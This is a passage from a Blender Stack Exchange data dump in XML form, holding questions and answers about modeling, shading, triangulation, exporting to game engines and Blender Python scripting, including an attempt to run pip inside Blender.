Meade or Ronn Cob or John Laseter, you'd know it.  For the present, you should use the sketch layout (blueprint method) of modeling because it gives you the most opportunity to study how geometric shapes go together to create forms.&#xA;Where reference images really come in handy is in understanding the effects of light through different materials, how cameras and optical effects add impact and how composition creates drama in a scene.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-07-28T19:56:03.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14469" PostTypeId="2" ParentId="14465" CreationDate="2014-07-28T19:59:52.897" Score="10" Body="&lt;p&gt;Using volume rendering, you can emit light from inside a glass object. If you use a procedural gradient texture to control the strength, you get a nice effect:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kRcrV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iSC9L.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iSC9L.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you bump up the IOR, it helps make it look more like a crystal:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqr5p.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also see&#xA;&lt;a href=&quot;https://blender.stackexchange.com/q/8130/599&quot;&gt;Controlling volume density&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Original answer:&lt;/h1&gt;&#xA;&lt;p&gt;You can make a glass object emit light on other objects without affecting the appearance of the object to the camera with a &lt;em&gt;light path&lt;/em&gt; node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t0rn6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If the incoming ray is a&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Camera ray&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Transmission ray&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Glossy Ray&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Then the glass shader is used. If it's not any of the above, then the emission shader is used. If the ray is hitting the back of a face, it always uses the glass shader.&lt;/p&gt;&#xA;&lt;p&gt;If you want you could also add some emission which is visible to the camera, to make it appear more glowy:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUXHH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want light to be emitted from &lt;em&gt;inside&lt;/em&gt; the object, you can use the new volumetrics features:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XTTzh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-28T23:44:23.960" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14470" PostTypeId="1" AcceptedAnswerId="14488" CreationDate="2014-07-28T20:05:30.630" Score="0" ViewCount="868" Body="&lt;p&gt;I want to be able to select the edges freestyle determines (e.g. silhouette edges), and then, say, draw only those silhouette edges from another view. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="5399" LastEditorUserId="2217" LastEditDate="2014-07-29T00:34:57.830" LastActivityDate="2014-08-05T03:33:48.520" Title="Select the edges drawn by freestyle" Tags="&lt;freestyle&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14471" PostTypeId="2" ParentId="14443" CreationDate="2014-07-28T21:05:19.047" Score="3" Body="&lt;p&gt;You can't bake a single frame in the middle of a simulation because blender needs to know what the state of the simulation in the previous frame was in order to compute the state for the next frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you could try using the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Cloud_Gen&quot; rel=&quot;nofollow noreferrer&quot;&gt;cloud generator script for BI&lt;/a&gt; (&lt;a href=&quot;https://vimeo.com/17142380&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;), or &lt;a href=&quot;https://blender.stackexchange.com/q/6835/599&quot;&gt;modeling your clouds manually&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-11-21T22:56:51.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14472" PostTypeId="2" ParentId="14457" CreationDate="2014-07-28T21:18:35.517" Score="4" Body="&lt;p&gt;That is because Blender uses +Z as a up direction whiles Unity uses +Y (most other 3D packages do so). So when exporting your file make sure you have pressed:&lt;br&gt;&#xA;  &lt;img src=&quot;https://i.stack.imgur.com/y2SdH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I am not sure about the forward, you might have to try both -Z and +Z as I am not sure of Unity.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2014-07-28T21:18:35.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14473" PostTypeId="2" ParentId="14427" CreationDate="2014-07-28T21:51:48.837" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the parts of the object you don't want to affect and hide them with &lt;kbd&gt;H&lt;/kbd&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use projected proportional editing to adjust the model smoothly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unhide the hidden parts of the mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/ColossalFluidDorking&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/ColossalFluidDorking.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.387" LastActivityDate="2014-07-28T21:51:48.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14474" PostTypeId="1" AcceptedAnswerId="14476" CreationDate="2014-07-28T23:14:09.093" Score="2" ViewCount="4996" Body="&lt;p&gt;Hello Blender Community!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently learning with Blender 2.71 and use Unreal Engine 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started to create a Knife, but I always have problems exporting it.&#xA;I tried to recalculate normals with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; but it still cut off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some screenshots:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rLdFt.png&quot; alt=&quot;BLender&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/V5pLW.jpg&quot; alt=&quot;Unreal Engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IPpeD.png&quot; alt=&quot;Blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ExG6.png&quot; alt=&quot;Exporting Options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5402" LastEditorUserId="2607" LastEditDate="2015-07-02T18:09:37.740" LastActivityDate="2019-08-17T15:14:40.823" Title="Why are there holes in my exported meshes?" Tags="&lt;modeling&gt;&lt;export&gt;&lt;unreal-engine&gt;" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14475" PostTypeId="2" ParentId="14474" CreationDate="2014-07-29T00:18:32.877" Score="3" Body="&lt;p&gt;The faces on the sides of the knife seem to be &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;N-gons&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Try triangulating the mesh before exporting it:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;), select everything (&lt;kbd&gt;A&lt;/kbd&gt;) or just the ngons by pressing &lt;em&gt;3D view &amp;gt; Header &amp;gt; Select &amp;gt; Faces by sides&lt;/em&gt;, then setting the &lt;em&gt;type&lt;/em&gt; to &lt;em&gt;greater than&lt;/em&gt; in the redo panel (&lt;kbd&gt;F6&lt;/kbd&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6L65B.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Triangulate the faces by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cSxZp.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you want more control over the triangulation, you might try using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Triangulate&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;triangulate modifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-07-29T00:32:25.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14476" PostTypeId="2" ParentId="14474" CreationDate="2014-07-29T00:19:16.827" Score="3" Body="&lt;p&gt;I cannot be certain of what is wrong without a .blend. my best guess is that your issue is caused by &lt;strong&gt;NGons&lt;/strong&gt;. NGons are faces with more the four edges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to remove them, select the faces that are Ngons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;kbd&gt;Spacebar&lt;/kbd&gt;&gt;&lt;em&gt;Select Faces by Sides&lt;/em&gt;&gt;set number of vertices to grater that 4 and type to &lt;em&gt;greater than&lt;/em&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then delete them useing &lt;kbd&gt;X&lt;/kbd&gt;&gt;&lt;em&gt;Only Faces&lt;/em&gt;. then use &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;F&lt;/kbd&gt;, then &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;J&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-29T00:25:27.467" LastActivityDate="2014-07-29T00:25:27.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14477" PostTypeId="2" ParentId="9188" CreationDate="2014-07-29T00:37:19.327" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://blender.stackexchange.com/questions/9188/ior-in-blender-internal-raytraced#comment14985_9188&quot;&gt;user2859's comment&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It doesn't use normals to determine where the ray is. It just swaps a traversal flag on ray pass.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-07-29T00:37:19.327" CommentCount="0" CommunityOwnedDate="2014-07-29T00:37:19.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="14478" PostTypeId="1" AcceptedAnswerId="14479" CreationDate="2014-07-29T02:15:47.830" Score="9" ViewCount="7029" Body="&lt;p&gt;Quite often I come across a mesh where I have a quad I want to triangulate, however upon pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;, it triangulates in the opposite direction I want it to. I'm only dealing with a single quad within the entire mesh, so I don't want to use the triangulate modifier here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an way to have more control when triangulating a single quad within a mesh?&lt;/p&gt;&#xA;" OwnerUserId="341" LastEditorUserId="55" LastEditDate="2014-11-26T15:38:47.867" LastActivityDate="2014-11-26T15:38:47.867" Title="How do I triangulate a quad along the alternate diagonal direction?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14479" PostTypeId="2" ParentId="14478" CreationDate="2014-07-29T02:23:45.133" Score="9" Body="&lt;p&gt;You can choose &lt;em&gt;Fixed&lt;/em&gt; or &lt;em&gt;Fixed alternate&lt;/em&gt; in the redo panel after triangulating:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KVFSN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer an all keyboard shortcut method, you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;, &lt;kbd&gt;R&lt;/kbd&gt; after triangulating to rotate the edge.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However if you are only triangulating a single quad, you can also select the verts you want to create the edge between and press &lt;kbd&gt;J&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6weD4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-29T02:49:52.107" LastActivityDate="2014-07-29T02:49:52.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14480" PostTypeId="1" AcceptedAnswerId="14493" CreationDate="2014-07-29T02:56:31.477" Score="4" ViewCount="2781" Body="&lt;p&gt;I've been attempting to display operator property attributes from a Panel interface with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPanel(bpy.types.Panel):&#xA;    # ...&#xA;    props = row.operator(&quot;my.button&quot;)&#xA;    row.prop(props, &quot;foo&quot;)&#xA;    row.prop(props, &quot;bar&quot;)&#xA;&#xA;class MY_BUTTON_OT_Button(bpy.types.Operator):&#xA;    # ...&#xA;    bl_idname = &quot;my.button&quot;&#xA;    foo = bpy.props.FloatProperty()&#xA;    bar = bpy.props.BoolProperty()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does display the properties, but they appear to be static and I cannot set their values from the interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I gather, the operator-specific draw() function is only used when the operator is explicitly called from a menu. Is there any similar way to define an operator interface inside a panel?&lt;/p&gt;&#xA;" OwnerUserId="5403" LastActivityDate="2014-07-29T17:51:30.270" Title="Display and set internal operator properties from custom Panel UI" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14481" PostTypeId="1" AcceptedAnswerId="14484" CreationDate="2014-07-29T03:49:55.557" Score="12" ViewCount="12098" Body="&lt;p&gt;I was watching a tutorial video &lt;a href=&quot;https://www.youtube.com/watch?v=yaPd4ieTmng&quot;&gt;(Which you can find here)&lt;/a&gt; and at the 18:00 mark he creates a loop cut, then appears to press 'S' (scale) and mashes a few other keys that aren't displayed and the loop cut suddenly becomes completely horizontal and no longer follows the contours of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening here and how can I accomplish this, or something similar?&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2017-01-01T23:51:20.580" Title="How do you make a loop cut a straight line (not follow the contours of the mesh)?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14482" PostTypeId="1" AcceptedAnswerId="14494" CreationDate="2014-07-29T04:00:44.577" Score="11" ViewCount="3849" Body="&lt;p&gt;Is there any benefit of creating model in one piece or I can create separate pieces and just overlap them to create a visually joint part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the below image were made from two parts&lt;br/&gt;&#xA;1. Blade&lt;br/&gt;&#xA;2. Spinner&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any benefit to model them (e.g. extrude from the spinner) or it is actually ok to have them separated since visually I can achieve the same effect (See picture 2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/efSMe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pGu4i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5404" LastEditorDisplayName="user1853" LastEditDate="2014-07-29T04:13:54.433" LastActivityDate="2016-11-27T18:38:12.590" Title="What are the benefits of modeling in one piece, or as separate parts?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14483" PostTypeId="2" ParentId="14400" CreationDate="2014-07-29T04:10:40.823" Score="4" Body="&lt;p&gt;Wow, I'm happy you thought of doing this.  Baking AO using Cycles is problematic since none of the available scripts bake properly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have not thought of a way to use the Ray Length node to adjust the results of the Reflection Ray but this basic setup looks good enough to suit my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left is the Reflection Node used to control two shaders(or use 2 colors for 1 shader).  On the right is a default Diffuse shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beautiful, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oteY8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  Here is a modified setup that may or may not be attenuating based on ray length.(I'm not totally sure that the setup isn't just behaving like a Color Ramp and squashing brightness/brightness)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The colors values for the Diffuse node and the Sky are all (1.0, 1.0, 1.0). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rNKOl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mrctJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;UPDATE: using direct lighting should give the darkest effect without any color mix node setup.  Otherwise, what was done here cancels global illumination bounces to exaggerate the AO which is normally washed out from bounced lighting.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-08-30T05:27:45.353" LastActivityDate="2015-08-30T05:27:45.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14484" PostTypeId="2" ParentId="14481" CreationDate="2014-07-29T04:17:46.567" Score="13" Body="&lt;p&gt;He presses &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;, which scales the selected vertices to &lt;code&gt;0&lt;/code&gt; on the Z axis, flattening them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another useful shortcut is &lt;kbd&gt;E&lt;/kbd&gt; during edge slide, which aligns the new loop to one of the adjacent loops (press &lt;kbd&gt;F&lt;/kbd&gt; to switch between loops).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uzwzD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-29T04:23:42.540" LastActivityDate="2014-07-29T04:23:42.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14485" PostTypeId="2" ParentId="14440" CreationDate="2014-07-29T06:34:27.753" Score="1" Body="&lt;p&gt;pink vertex' idea using from_pydata works, I just wanted to add a few more details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_bm = mesh_dict[identificator].bm&#xA;bmesh.ops.translate(add_bm, vec=loc-mesh_dict[identificator].v, verts=add_bm.verts)&#xA;mesh_dict[identificator].v = loc&#xA;#until here identical, then I copy the raw data into python lists instead of directly&#xA;#into the bmesh&#xA;vertindex_offset = len(all_v)&#xA;all_v.extend(v.co[:] for v in add_bm.verts)&#xA;all_f.extend([[v.index + vertindex_offset for v in f.verts] for f in add_bm.faces])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then outside the main loop I do the &lt;code&gt;mesh.from_pydata(all_v, [], all_f)&lt;/code&gt; and create the object etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is more than twice as fast than my previously fastest version, gets around needing to reload the repeatedly, has a larger memory overhead though (mainly because I remove all doubles at once at the end, which could be optimised).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is essentially the &quot;lowlevel&quot; approach I tried, but apparently the &lt;code&gt;bmesh.verts.new()&lt;/code&gt; is pretty slow (I suspect the entire array is copied every time) and there doesn't seem to be a method to add an entire list of verts to a bmesh (yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: The DupliVerts method is by far the fastest method I've tried so far (probably 10 times as fast as from_pydata). I'm not sure, however, if I will be able to use it for my particular problem.&lt;/p&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="5383" LastEditDate="2014-08-08T11:25:55.630" LastActivityDate="2014-08-08T11:25:55.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14486" PostTypeId="2" ParentId="14482" CreationDate="2014-07-29T06:34:41.143" Score="5" Body="&lt;p&gt;For a rendered result it's not necessary to connect everything, and as you mentioned the apparent difference is extremely negligible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to think about whether the parts would be connected in the real world (by &lt;em&gt;connected&lt;/em&gt; I mean one solid piece, not bolted/fastened together). So far it's worked pretty well for me, with some occasional bending of the rule ;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-29T06:34:41.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14487" PostTypeId="2" ParentId="14478" CreationDate="2014-07-29T08:30:46.217" Score="6" Body="&lt;p&gt;Another option that is available is rotate edge. This is available in Mesh-&gt;Edges-&gt;Rotate Edge or the edges popup menu with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VudCg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will rotate any edge so that each end gets moved to the next vertex. You only need to select one edge but if you have two triangles selected it will rotate the edge in the middle.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-29T08:30:46.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14488" PostTypeId="2" ParentId="14470" CreationDate="2014-07-29T08:49:44.390" Score="0" Body="&lt;p&gt;Freestyle generates it's edges based on the settings used. This includes the camera position relative to the model. Your example of a silhouette edge will always be the outer boundary of the object and &quot;feature edges of interest&quot; which can change through an animation or camera move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to fully control where a line is drawn is to mark the edges as freestyle edges. You can cut extra edges through your geometry to get edges exactly where you want them.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-29T08:49:44.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14489" PostTypeId="1" AcceptedAnswerId="14492" CreationDate="2014-07-29T09:47:17.397" Score="4" ViewCount="3292" Body="&lt;p&gt;I just got started with Blender and my main interest is to use code to generate 3D images. I like what I see, but I do not like the fact that I cannot &lt;strong&gt;just&lt;/strong&gt; use any library I want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, when using other python distributions ( &lt;code&gt;Conda&lt;/code&gt; for example) I would use the following trick in the terminal to install everything I need. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pip&#xA;&#xA;def install(package):&#xA;    pip.main(['install', package])&#xA;&#xA;install('requests') &#xA;install('numpy') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This however, gives a huge error in blender. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/__init__.py&quot;, line 13, in &amp;lt;module&amp;gt;&#xA;  from pip.commands import commands, get_summaries, get_similar_commands&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/commands/__init__.py&quot;, line 7, in &amp;lt;module&amp;gt;&#xA;  from pip.commands.freeze import FreezeCommand&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/commands/freeze.py&quot;, line 6, in &amp;lt;module&amp;gt;&#xA;  from pip.req import InstallRequirement&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/req/__init__.py&quot;, line 2, in &amp;lt;module&amp;gt;&#xA;  from .req_install import InstallRequirement&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/req/req_install.py&quot;, line 11, in &amp;lt;module&amp;gt;&#xA;  import pip.wheel&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/wheel.py&quot;, line 22, in &amp;lt;module&amp;gt;&#xA;  from pip import pep425tags&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/pep425tags.py&quot;, line 131, in &amp;lt;module&amp;gt;&#xA;  supported_tags = get_supported()&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/pep425tags.py&quot;, line 82, in get_supported&#xA;  arch = get_platform()&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/pip/pep425tags.py&quot;, line 38, in get_platform&#xA;  return distutils.util.get_platform().replace('.', '_').replace('-', '_')&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/distutils/util.py&quot;, line 103, in get_platform&#xA;  distutils.sysconfig.get_config_vars(),&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/distutils/sysconfig.py&quot;, line 511, in get_config_vars&#xA;  func()&#xA;File &quot;/Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/distutils/sysconfig.py&quot;, line 443, in _init_posix&#xA;  raise DistutilsPlatformError(my_msg)&#xA;  distutils.errors.DistutilsPlatformError: invalid Python installation: unable to open /Applications/blender.app/Contents/MacOS/2.71/python/lib/python3.4/config-3.4m/Makefile (No such file or directory)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I use pip with blender using this trick? When looking at the error I get the idea that indeed does exist and that I can access it within blender. It is however  also telling me that it doesn't use the right python version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a mac, but preferably we would have a solution here that works for all systems. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;EDIT&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I still have not gotten pip to work in Blender but as of Blender 2.70 this is not as necessary anymore because Blender now includes the Numpy library (thanks community!)&lt;/p&gt;&#xA;" OwnerUserId="5349" LastEditorUserId="3078" LastEditDate="2014-08-16T12:58:36.980" LastActivityDate="2016-06-07T03:25:57.243" Title="How to use the PIP library in Blender" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
